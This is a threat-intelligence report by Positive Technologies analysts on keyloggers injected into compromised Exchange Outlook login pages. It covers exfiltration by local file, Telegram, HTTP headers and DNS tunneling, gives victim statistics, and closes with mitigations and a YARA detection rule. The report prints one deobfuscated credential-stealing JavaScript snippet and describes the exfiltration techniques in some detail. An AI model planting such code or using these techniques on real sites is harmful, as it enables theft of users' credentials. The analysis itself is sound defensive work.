Authors:

Klimentiy Galkin, Threat Intelligence Specialist at the Positive Technologies Expert Security Center

Maxim Suslov, Senior Vulnerability Analysis Specialist at the PT Expert Security Center

• In May 2024, we reported an attack involving the injection of malicious code into the login page of compromised Microsoft Exchange Servers.
• During a new investigation, we identified various types of keyloggers, which can be divided into two main categories.
• In 2025, we uncovered a series of similar attacks targeting victims in 26 countries worldwide.

In May 2024, specialists from the Incident Response team at the Positive Technologies Expert Security Center (PT Expert Security Center) discovered an attack using an unknown keylogger injected into the home page of a compromised Exchange Server. In 2025, the Threat Intelligence team, in collaboration with the Vulnerability Analysis team from the PT Expert Security Center, observed similar attacks with no modifications made to the original keylogger code. Further analysis of the JavaScript code on the Outlook login page and its comparison with the source code of compromised pages, revealed several anomalies not typical for a standard Exchange Server authentication process. This analysis enabled the discovery of additional malicious code samples. All identified keyloggers fall into two categories:

• Those that save collected data to a local file accessible from outside.
• Those that immediately send the collected data to an external server.

Keylogger with local logging

How it works:

• The victim visits the Exchange Server authentication page and enters their credentials.
• Malicious JavaScript code reads and processes the data from the authentication form, then sends it via an XHR request to a specific page on the compromised Exchange Server (Figure 2).
• The target page's source code contains a handler function that reads the incoming request and writes the data to a file on the server (Figure 3).
• This file containing the compromised data is accessible from an external network, with only the attackers knowing its exact location.

Typically, the malicious code is embedded within the legitimate authentication function clkLgn (Figure 1). However, in some cases, the malicious code is contained in a separate function, which calls clkLgn only after the compromised data has been sent.

• HTTP method used for sending the collected data. For example, data could be sent as parameters in a GET request (Figure 4) or in the body of a POST request.

• Target URL for an XHR request with victim data. The internal page can either be legitimate and contain malicious code injection, or it may be a separately created malicious page. Examples:
  • /owa/auth/lo.aspx
  • /owa/auth/getidtokens.aspx
  • /owa/auth/error.aspx
  • /owa/auth/logon.aspx
  • and others
• Obfuscation of malicious code (Figures 5.1 and 5.2). Here is an example of deobfuscated code from Figure 5.2 below:

var aes = new Date().toLocaleDateString() + "\t" + 
document.getElementById("username").value + "\t" + 
document.getElementById("password").value;
fetch('', {
'method': 'POST',
'body': new URLSearchParams({
  'Aes': btoa(aes)
})
});

• Transmitted data. Some malicious code variants also collected user cookies, User-Agent header, and more (Figure 6).

The described malware variant provides attackers with the following advantages:

• Writing data to a local file and accessing it externally appears less suspicious to detection systems than sending data directly outside the network.
• The code does not include a command and control server or any commands for interacting with it.
• Attackers can access the stealer's files from any address, with no need for a fixed C2 server or an update protocol.

Keylogger that sends data to an external server

Variants of this stealer differ based on the following parameters:

• Data exfiltration method. A dedicated server, a Telegram bot (Figures 7–8), or other legitimate services (such as Discord) can be used. As shown in Figure 8, attackers use a <COMPANY-ID> identifier (redacted for privacy) to determine which organization the stolen credentials belong to.

• User data can be transformed in various ways.
• Method of sending data:
  • As a JSON object in the body of a POST request (Figure 9).
  • In HTTP headers (Figure 10). The Salt header has been redacted for privacy, but it contains the name of the Active Directory domain where the user is authenticated. The APIKey and AuthToken headers store the encoded login and password, respectively.
  • Via DNS tunneling. In Figure 11, the prepare function encrypts user data using the XOR algorithm with the key "exchange_default_password", converts it to hex, and adds it as a subdomain.

Some attackers used open directories to store text files containing stolen data. An example of such a file is shown in Figure 12.

During the investigation, around 65 victims were identified across 26 countries. The majority of compromised servers were found in government organizations (22 servers belonging to government entities), as well as in the IT, industrial, and logistics companies. Detailed statistics by country are presented in the figures below.

Below is a list of vulnerabilities that affected many of the compromised servers.

Exploiting these vulnerabilities could have been one of the attack vectors. However, not all compromised servers were vulnerable to publicly known vulnerabilities, suggesting that other methods may have been used to breach them.

A large number of Microsoft Exchange servers accessible from the Internet remain vulnerable to older vulnerabilities. This research has shown that one of the outcomes of exploiting these vulnerabilities is the injection of keyloggers into authentication pages.

By embedding malicious code into legitimate authentication pages, attackers are able to stay undetected for long periods while capturing user credentials in plain text.

If you find malicious code in your infrastructure or suspect that some of your systems may have been compromised, the experts at PT Expert Security Center provide services for retrospective analysis and incident investigations.

To defend against such threats, the following measures are recommended:

• Establish a vulnerability management process at least for critical servers accessible from external networks. Regularly update services to the latest versions and monitor known vulnerabilities in your systems. Tools such as MaxPatrol VM or vulnerability scanners like XSpider can assist with these tasks.
• Use modern web application protection systems and tools for detecting malicious network activity. PT NAD can be used for monitoring suspicious activities in network traffic, while PT AF protects against exploitation of existing vulnerabilities without requiring changes to the application itself.
• Implement information security monitoring on critical servers using SIEM and EDR solutions, such as MaxPatrol SIEM and MaxPatrol EDR.

If you suspect your MS Exchange Server may have been compromised in a similar way, bypassing security and event monitoring systems, the following steps can help:

• Check file integrity and inspect files related to user authentication, such as: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\logon.aspx.
• Scan the MS Exchange Server folder with YARA rules to detect web shells and suspicious pages. Manually review any flagged files for malicious code. You can also use publicly available YARA rule sets.
• Consider a retrospective analysis (compromise assessment) to evaluate the security of your systems.

Below is the YARA rule that can help detect variations of the malicious pages described in this article:

rule PTESC_exploit_win_ZZ_Exchange__Keylogger__Javascript {
    strings:
        $anomaly_func_1 = "XMLHttpRequest"
        $anomaly_func_2 = "eval"
        $anomaly_func_3 = "fetch"
        $anomaly_func_4 = "fromCharCode"
        $anomaly_func_5 = "$.ajax"
        $anomaly_func_6 = "atob"

        $credential_string_1 = "user"
        $credential_string_2 = "pass"

        $exclude_strings_1 = "jquery.org/license"
        $exclude_strings_2 = "captcha"
        $exclude_strings_3 = "newrelic"
    condition:
        any of ($anomaly_func_*) and all of ($credential_string_*) and not all of ($exclude_strings_*)
}